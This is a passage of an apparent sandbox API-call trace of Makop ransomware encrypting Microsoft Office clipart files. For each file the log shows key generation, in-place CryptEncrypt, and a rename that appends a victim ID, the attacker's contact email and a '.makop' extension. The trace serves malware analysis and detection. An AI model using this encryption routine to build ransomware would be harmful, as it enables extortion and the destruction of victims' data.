liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.614] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.614] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.614] GetProcessHeap () returned 0x48a0000 [0150.614] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.614] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.614] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.614] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.661] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.663] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.663] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.663] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.664] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.664] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.664] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.664] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9c80, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9c80, lpOverlapped=0x0) returned 1 [0150.666] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9c80, dwBufLen=0x9c80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9c80) returned 1 [0150.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.667] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9c80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9c80, lpOverlapped=0x0) returned 1 [0150.667] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.668] SetEndOfFile (hFile=0xf0) returned 1 [0150.674] GetProcessHeap () returned 0x48a0000 [0150.674] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.674] GetProcessHeap () returned 0x48a0000 [0150.674] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.674] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.676] CloseHandle (hObject=0xf0) returned 1 [0150.676] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8d0400, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8d0400, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00629_.WMF", cAlternateFileName="")) returned 1 [0150.678] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 63 [0150.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.679] GetProcessHeap () returned 0x48a0000 [0150.679] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.679] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.679] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0150.684] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.684] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.684] GetProcessHeap () returned 0x48a0000 [0150.684] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.684] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.684] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.684] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.684] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.685] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.685] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.685] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.685] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.685] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.685] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.686] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfe6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xfe6, lpOverlapped=0x0) returned 1 [0150.686] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xff0, dwBufLen=0xff0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xff0) returned 1 [0150.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.686] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xff0, lpOverlapped=0x0) returned 1 [0150.686] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.686] SetEndOfFile (hFile=0xf0) returned 1 [0150.697] GetProcessHeap () returned 0x48a0000 [0150.697] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.698] GetProcessHeap () returned 0x48a0000 [0150.698] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.698] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.700] CloseHandle (hObject=0xf0) returned 1 [0150.700] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a9b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x752a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5006, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00633_.WMF", cAlternateFileName="")) returned 1 [0150.700] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 63 [0150.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.701] GetProcessHeap () returned 0x48a0000 [0150.701] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.701] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.701] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.701] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0150.708] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.708] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.708] GetProcessHeap () returned 0x48a0000 [0150.709] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.709] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.709] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.709] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.710] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.710] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.710] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.710] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.710] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.710] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5006, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5006, lpOverlapped=0x0) returned 1 [0150.712] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5010, dwBufLen=0x5010 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5010) returned 1 [0150.712] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.712] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5010, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5010, lpOverlapped=0x0) returned 1 [0150.713] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.713] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x50e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.713] SetEndOfFile (hFile=0xf0) returned 1 [0150.719] GetProcessHeap () returned 0x48a0000 [0150.719] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.719] GetProcessHeap () returned 0x48a0000 [0150.719] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.719] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.721] CloseHandle (hObject=0xf0) returned 1 [0150.722] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3039c00, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3039c00, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x1aba, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00638_.WMF", cAlternateFileName="")) returned 1 [0150.722] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 63 [0150.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.726] GetProcessHeap () returned 0x48a0000 [0150.726] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.726] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.726] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0150.732] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.732] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.732] GetProcessHeap () returned 0x48a0000 [0150.732] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.732] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.732] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.733] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.733] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.733] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.733] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.733] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.734] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.734] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.734] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1aba, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1aba, lpOverlapped=0x0) returned 1 [0150.735] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ac0, dwBufLen=0x1ac0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ac0) returned 1 [0150.735] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ac0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ac0, lpOverlapped=0x0) returned 1 [0150.736] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.736] SetEndOfFile (hFile=0xf0) returned 1 [0150.743] GetProcessHeap () returned 0x48a0000 [0150.743] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.743] GetProcessHeap () returned 0x48a0000 [0150.743] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.743] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.745] CloseHandle (hObject=0xf0) returned 1 [0150.745] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53153500, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53153500, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00656_.WMF", cAlternateFileName="")) returned 1 [0150.745] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF") returned 63 [0150.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft 